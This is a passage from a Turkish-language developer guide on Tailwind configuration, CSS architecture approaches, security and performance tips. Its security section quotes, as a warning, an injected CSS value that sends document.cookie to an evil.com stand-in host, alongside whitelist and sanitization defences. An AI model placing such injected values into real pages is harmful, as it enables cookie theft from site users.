  (function () {
    const saved = localStorage.getItem('theme');
    const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches;

    if (saved === 'dark' || (!saved && prefersDark)) {
      document.documentElement.classList.add('dark');
    }
  })();

  // Sistem tercihi degisirse dinle
  window.matchMedia('(prefers-color-scheme: dark)')
    .addEventListener('change', (e) => {
      if (!localStorage.getItem('theme')) {
        document.documentElement.classList.toggle('dark', e.matches);
      }
    });
</script>

12) Tailwind Custom Config

Theme Extend

js
// tailwind.config.js
module.exports = {
  theme: {
    extend: {
      // Custom renkler
      colors: {
        brand: {
          50:  '#f0f9ff',
          100: '#e0f2fe',
          200: '#bae6fd',
          300: '#7dd3fc',
          400: '#38bdf8',
          500: '#0ea5e9',
          600: '#0284c7',
          700: '#0369a1',
          800: '#075985',
          900: '#0c4a6e',
          950: '#082f49',
        },
        accent: '#f59e0b',
      },

      // Custom fontlar
      fontFamily: {
        sans: ['Inter', 'system-ui', '-apple-system', 'sans-serif'],
        display: ['Cal Sans', 'Inter', 'sans-serif'],
        mono: ['JetBrains Mono', 'Fira Code', 'monospace'],
      },

      // Custom spacing
      spacing: {
        '4.5': '1.125rem',
        '13': '3.25rem',
        '128': '32rem',
        '144': '36rem',
      },

      // Custom border radius
      borderRadius: {
        '4xl': '2rem',
        '5xl': '2.5rem',
      },

      // Custom keyframes
      keyframes: {
        'fade-in': {
          '0%': { opacity: '0', transform: 'translateY(10px)' },
          '100%': { opacity: '1', transform: 'translateY(0)' },
        },
        'slide-in': {
          '0%': { transform: 'translateX(-100%)' },
          '100%': { transform: 'translateX(0)' },
        },
      },

      // Custom animasyonlar
      animation: {
        'fade-in': 'fade-in 0.5s ease-out',
        'slide-in': 'slide-in 0.3s ease-out',
      },

      // Custom box shadow
      boxShadow: {
        'soft': '0 2px 15px rgba(0, 0, 0, 0.08)',
        'glow': '0 0 15px rgba(59, 130, 246, 0.5)',
      },
    },
  },
}

Plugins

bash
# Resmi eklentiler
npm install -D @tailwindcss/forms
npm install -D @tailwindcss/typography
npm install -D @tailwindcss/aspect-ratio
npm install -D @tailwindcss/container-queries
js
// tailwind.config.js
module.exports = {
  plugins: [
    // Form elementlerine varsayilan stiller
    require('@tailwindcss/forms'),

    // Zengin metin icerigi icin .prose class'i
    require('@tailwindcss/typography'),

    // Aspect ratio yardimcilari
    require('@tailwindcss/aspect-ratio'),

    // Container queries destegi
    require('@tailwindcss/container-queries'),
  ],
}
html
<!-- @tailwindcss/typography ornegi -->
<article class="prose prose-lg dark:prose-invert max-w-none">
  <h1>Blog Yazisinizin Basligi</h1>
  <p>Bu metin otomatik olarak guzel tipografi stillerine sahip olur.</p>
  <pre><code>const x = 42;</code></pre>
  <blockquote>Alintilar da stillendirilir.</blockquote>
</article>

<!-- @tailwindcss/forms ornegi -->
<input type="text" class="rounded-md border-gray-300 shadow-sm
                          focus:border-blue-500 focus:ring-blue-500" />

<!-- @tailwindcss/aspect-ratio ornegi -->
<div class="aspect-w-16 aspect-h-9">
  <iframe src="https://youtube.com/embed/..." class="rounded-lg"></iframe>
</div>

@apply (Ne Zaman Kullan, Ne Zaman Kullanma)

css
/* src/index.css */

@layer components {
  /* IYI: Cok tekrar eden, sabit UI pattern'leri icin */
  .btn {
    @apply px-4 py-2 rounded-lg font-medium transition-all;
  }
  .btn-primary {
    @apply btn bg-blue-600 text-white hover:bg-blue-700 focus:ring-4 focus:ring-blue-300;
  }
  .btn-secondary {
    @apply btn bg-gray-100 text-gray-700 hover:bg-gray-200;
  }
  .btn-outline {
    @apply btn border-2 border-blue-600 text-blue-600 hover:bg-blue-50;
  }

  /* IYI: Form input base stili */
  .input-base {
    @apply w-full px-4 py-2.5 border border-gray-300 rounded-lg
           focus:ring-2 focus:ring-blue-500 focus:border-blue-500
           outline-none transition-shadow;
  }
}

@layer utilities {
  /* Custom utility */
  .text-balance {
    text-wrap: balance;
  }
}
html
<!-- Kullanim -->
<button class="btn-primary">Kaydet</button>
<button class="btn-secondary">Iptal</button>
<input type="text" class="input-base" />

Ne zaman @apply kullanMAyin:

  • Sadece 1-2 yerde gecen stiller için (inline yazin)
  • Responsive veya state variant'lari cok fazlaysa (HTML'de yazin)
  • Component framework'u varsa (React/Vue component'i olarak yazin)

Arbitrary Values

html
<!-- Tam deger belirtme (design system disinda) -->
<div class="w-[137px]">137px genislik</div>
<div class="h-[calc(100vh-64px)]">Viewport - header</div>
<div class="top-[117px]">117px ust mesafe</div>
<div class="bg-[#1da1f2]">Twitter mavisi</div>
<div class="text-[22px]">22px font boyutu</div>
<div class="grid-cols-[200px_1fr_100px]">Custom grid</div>
<div class="p-[clamp(1rem,3vw,2rem)]">Responsive padding</div>

<!-- Arbitrary property -->
<div class="[mask-type:luminance]">Mask type</div>
<div class="[text-wrap:balance]">Text wrap balance</div>

<!-- Arbitrary variant -->
<div class="[&>*]:p-4">Tum direkt cocuklara p-4</div>
<div class="[&_p]:mt-4">Tum ic p elementlerine mt-4</div>
<div class="group-[.is-active]:block">Group active state</div>

Custom Utility Oluşturma

js
// tailwind.config.js
const plugin = require('tailwindcss/plugin')

module.exports = {
  plugins: [
    plugin(function({ addUtilities, addComponents, theme }) {
      // Custom utilities
      addUtilities({
        '.text-shadow-sm': {
          'text-shadow': '0 1px 2px rgba(0, 0, 0, 0.1)',
        },
        '.text-shadow-md': {
          'text-shadow': '0 2px 4px rgba(0, 0, 0, 0.15)',
        },
        '.text-shadow-none': {
          'text-shadow': 'none',
        },
        '.scrollbar-hide': {
          '-ms-overflow-style': 'none',
          'scrollbar-width': 'none',
          '&::-webkit-scrollbar': {
            display: 'none',
          },
        },
      })

      // Custom components
      addComponents({
        '.card': {
          backgroundColor: theme('colors.white'),
          borderRadius: theme('borderRadius.xl'),
          padding: theme('spacing.6'),
          boxShadow: theme('boxShadow.md'),
        },
      })
    }),
  ],
}

13) Tailwind vs Bootstrap vs Styled Components

ÖzellikTailwind CSSBootstrapStyled Components
YaklasimUtility-firstComponent-basedCSS-in-JS
Öğrenme egrisiOrta (class isimleri)Düşük (hazir bilesenler)Orta (JS + CSS)
Bundle sizeKüçük (purge ile)Büyük (~200KB)Orta (runtime)
CustomizationCok yüksek (config)Sınırlı (SCSS vars)Cok yüksek (JS)
React uyumuIyiOrta (react-bootstrap)Mükemmel (native)
Vue uyumuIyiOrta (bootstrap-vue)Zayif
SSR destegiMükemmel (static CSS)IyiEkstra config gerekir
Design sistemiKolay olusturulurHazir gelirManuel olusturulur
ResponsiveKolay (prefix)Kolay (grid system)Manuel
Dark modeDahili (dark: prefix)Manuel / SCSSManuel (ThemeProvider)
JavaScript bagimliligiYokVar (dropdowns, modals)Var (React)
Dosya boyutu (prod)~10-30KB~150-200KB~15KB + runtime
CommunityCok büyük, hızlı buyuyorCok büyük, olgunBüyük, React odakli

Ne zaman hangisi?

  • Tailwind: Custom tasarim, performans onceligi, herhangi bir framework
  • Bootstrap: Hızlı prototipleme, admin panelleri, ozel tasarim gereksiz
  • Styled Components: React projesi, dinamik stiller, theme sistemi

14) CSS Architecture

BEM (Block__Element--Modifier)

css
/* Block */
.card { }

/* Element (block'un parcasi) */
.card__title { }
.card__body { }
.card__image { }
.card__footer { }

/* Modifier (varyasyon) */
.card--featured { }
.card--compact { }
.card__title--large { }

/* Ornek */
.card {
  background: white;
  border-radius: 8px;
  overflow: hidden;
}

.card__image {
  width: 100%;
  height: 200px;
  object-fit: cover;
}

.card__title {
  font-size: 1.25rem;
  font-weight: 600;
  margin-bottom: 8px;
}

.card__title--large {
  font-size: 1.5rem;
}

.card--featured {
  border: 2px solid #3b82f6;
  box-shadow: 0 4px 12px rgba(59, 130, 246, 0.2);
}
html
<div class="card card--featured">
  <img class="card__image" src="/img.jpg" alt="" />
  <div class="card__body">
    <h3 class="card__title card__title--large">Baslik</h3>
    <p class="card__text">Icerik</p>
  </div>
  <div class="card__footer">Footer</div>
</div>

Utility-First (Tailwind Yaklasimi)

html
<!-- Ayni card, utility class'lar ile -->
<div class="bg-white rounded-lg overflow-hidden border-2 border-blue-500
            shadow-lg shadow-blue-500/20">
  <img class="w-full h-52 object-cover" src="/img.jpg" alt="" />
  <div class="p-6">
    <h3 class="text-xl font-semibold mb-2">Baslik</h3>
    <p class="text-gray-600">Icerik</p>
  </div>
  <div class="px-6 py-4 border-t border-gray-100">Footer</div>
</div>

CSS Modules (React / Vue Scoped Styles)

css
/* Card.module.css */
.card {
  background: white;
  border-radius: 8px;
  overflow: hidden;
}

.title {
  font-size: 1.25rem;
  font-weight: 600;
}

.featured {
  border: 2px solid #3b82f6;
}
jsx
// React ile kullanim
import styles from './Card.module.css';

function Card({ featured, title, children }) {
  return (
    <div className={`${styles.card} ${featured ? styles.featured : ''}`}>
      <h3 className={styles.title}>{title}</h3>
      {children}
    </div>
  );
}
vue
<!-- Vue ile scoped style -->
<template>
  <div :class="[$style.card, featured && $style.featured]">
    <h3 :class="$style.title">{{ title }}</h3>
    <slot />
  </div>
</template>

<style module>
.card {
  background: white;
  border-radius: 8px;
}
.title {
  font-size: 1.25rem;
  font-weight: 600;
}
.featured {
  border: 2px solid #3b82f6;
}
</style>

CSS-in-JS (Styled Components, Emotion)

jsx
import styled from 'styled-components';

const Card = styled.div`
  background: white;
  border-radius: 8px;
  overflow: hidden;
  border: ${props => props.$featured ? '2px solid #3b82f6' : 'none'};
  box-shadow: ${props => props.$featured
    ? '0 4px 12px rgba(59, 130, 246, 0.2)'
    : '0 1px 3px rgba(0, 0, 0, 0.1)'};
`;

const Title = styled.h3`
  font-size: 1.25rem;
  font-weight: 600;
  margin-bottom: 8px;
`;

// Kullanim
function ProductCard({ product }) {
  return (
    <Card $featured={product.isFeatured}>
      <Title>{product.name}</Title>
      <p>{product.description}</p>
    </Card>
  );
}

Karar Tablosu

DurumÖnerilen Yaklasim
Küçük/orta proje, hızlı geliştirmeTailwind CSS
Büyük takim, cok sayida gelistiriciBEM + CSS Modules
React projesi, dinamik stillerStyled Components / Emotion
Vue projesiTailwind veya Scoped Styles
Design system / component libraryCSS Modules + Tailwind
Admin panel, hızlı prototipBootstrap veya Tailwind
Performans kritik uygulamaTailwind (zero-runtime)

15) Güvenlik

CSS Injection

Kullanici tarafindan girilen CSS degerleri tehlikeli olabilir.

css
/* TEHLIKE: Kullanici input'u dogrudan CSS'e ekleme */
/* Eger kullanici su sekilde input girerse: */
/* "; background: url('https://evil.com/steal?cookie=' + document.cookie); " */

/* YANLIS — kullanici degerini dogrudan kullanmak */
.user-element {
  color: var(--user-color); /* Kullanici kontrolundeyse riskli */
}
js
// YANLIS — kullanici input'unu dogrudan style olarak kullanma
element.style.cssText = userInput; // XSS riski

// DOGRU — beyaz liste (whitelist) ile kontrol
const allowedColors = ['red', 'blue', 'green', '#333', '#fff'];
const safeColor = allowedColors.includes(userColor) ? userColor : '#333';
element.style.color = safeColor;

// DOGRU — CSS custom property ile sinirli deger
const sanitizeColor = (color) => {
  // Sadece hex renk kodlarini kabul et
  const hexPattern = /^#[0-9a-fA-F]{3,8}$/;
  return hexPattern.test(color) ? color : '#333333';
};

document.documentElement.style.setProperty(
  '--user-color',
  sanitizeColor(userInput)
);

Style Attribute Sanitization

js
// YANLIS — sanitize etmeden style attribute kullanma
<div style={`background: ${userInput}`}>  // Tehlikeli

// DOGRU — React'te style objesi kullanma (otomatik sanitize)
<div style={{ backgroundColor: sanitizedColor }}>  // Guvenli

// DOGRU — DOMPurify ile HTML sanitization
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_ATTR: ['class'], // style attribute'u dahil etme
});

// DOGRU — CSP header ile inline style'lari kisitlama
// Content-Security-Policy: style-src 'self' 'nonce-abc123'

Temel kurallar:

  • Kullanici girdisini asla dogrudan CSS'e eklemeyin
  • style attribute'u yerine class kullanin
  • Dinamik degerler için beyaz liste (whitelist) uygulayim
  • CSP (Content Security Policy) header'lari kullanin
  • innerHTML ve cssText'e kullanici verisi yapistirmayin

16) Tips

Specificity Savasindan Kacinin

css
/* KOTU — specificity savaslari */
#main .content div.card > h3.title { color: blue; }
/* Bunu override etmek icin daha yuksek specificity gerekir */

/* KOTU — !important zincirleri */
.title { color: red !important; }
.title.active { color: blue !important; } /* Artik bu da !important */

/* IYI — duz, dusuk specificity */
.card-title { color: blue; }
.card-title.is-active { color: green; }

rem vs px

css
/* rem tercih edin — accessibility icin onemli */
/* Kullanici tarayicida font boyutunu degistirdiginde rem olceklenir */

/* IYI */
.heading { font-size: 2rem; }      /* 32px (kullanici ayarina uyar) */
.text { font-size: 1rem; }         /* 16px (kullanici ayarina uyar) */
.spacing { padding: 1.5rem; }      /* 24px */

/* px sadece su durumlarda kullanin: */
.border { border: 1px solid #ccc; }  /* Border genisligi */
.shadow { box-shadow: 0 2px 4px rgba(0,0,0,0.1); }  /* Golge */

CSS Reset / Normalize

css
/* Tailwind Preflight — modern CSS reset */
/* Tailwind bunu otomatik uygular (@tailwind base;) */

/* Manuel reset gerekiyorsa: */
*, *::before, *::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

html {
  -moz-text-size-adjust: none;
  -webkit-text-size-adjust: none;
  text-size-adjust: none;
}

body {
  min-height: 100vh;
  line-height: 1.5;
  -webkit-font-smoothing: antialiased;
}

img, picture, video, canvas, svg {
  display: block;
  max-width: 100%;
}

input, button, textarea, select {
  font: inherit;
}

p, h1, h2, h3, h4, h5, h6 {
  overflow-wrap: break-word;
}

Naming Conventions

css
/* BEM — blok__element--modifier */
.search-form { }
.search-form__input { }
.search-form__button { }
.search-form__button--disabled { }

/* Utility — tek amacli class (Tailwind yaklasimi) */
.text-center { text-align: center; }
.mt-4 { margin-top: 1rem; }
.flex { display: flex; }

/* Functional — isleve gore isimlendirme */
.is-active { }
.has-error { }
.is-loading { }
.is-hidden { }

Performans

css
/* will-change — animasyon oncesi ipucu */
.card {
  will-change: transform;
  /* Hover'dan once GPU layer hazirligi */
}
.card:hover {
  transform: translateY(-4px);
}
/* Dikkat: will-change'i gereksiz kullanmayin — GPU bellek tuketir */

/* contain — render optimizasyonu */
.widget {
  contain: layout style paint;
  /* Bu elementin ic degisiklikleri dis dunyayi etkilemez */
}

/* content-visibility — gorunmeyen elemanlari render etme */
.article-section {
  content-visibility: auto;
  contain-intrinsic-size: auto 500px;
  /* Viewport disindaki section'lar render edilmez */
}

/* Render performansi */
/* IYI: Sadece composite property'ler animate edin */
.optimized {
  transition: transform 0.3s, opacity 0.3s;
  /* GPU uzerinde calisir — 60fps */
}

/* KOTU: Layout property'leri animate etmeyin */
.slow {
  transition: width 0.3s, height 0.3s, margin 0.3s;
  /* Her frame'de layout recalculation — yavas */
}

DevTools ile CSS Debugging

Chrome DevTools ipuclari:

  1. Elements paneli: Herhangi bir elemente sag tiklayip "Inspect" deyin
  2. Computed tab: Hesaplanmis (final) CSS degerlerini gorun
  3. Box model: Computed tab'da margin, border, padding degerlerini gorsel olarak inceleyin
  4. Force state: :hover, :focus, :active durumlarini zorlayin (element uzerine sag tik > Force state)
  5. CSS coverage: Ctrl+Shift+P > "Coverage" > kullanilmayan CSS'i bulun
  6. Flex/Grid inspector: Layout overlay'ini acarak flex ve grid duzenleri gorsellestirilir
  7. Changes tab: Yaptiginiz CSS degisikliklerini diff olarak gorun
  8. Animations panel: Animasyonlari yavaslatip adim adim izleyin
Klavye kisayollari:
- F12 veya Ctrl+Shift+I  — DevTools ac
- Ctrl+Shift+C           — Element sec modu
- Ctrl+Shift+M           — Responsive modu (mobil gorunum)

Ilgili Rehberler

Frontend

Diger Kategoriler

Developer Guides & Technical References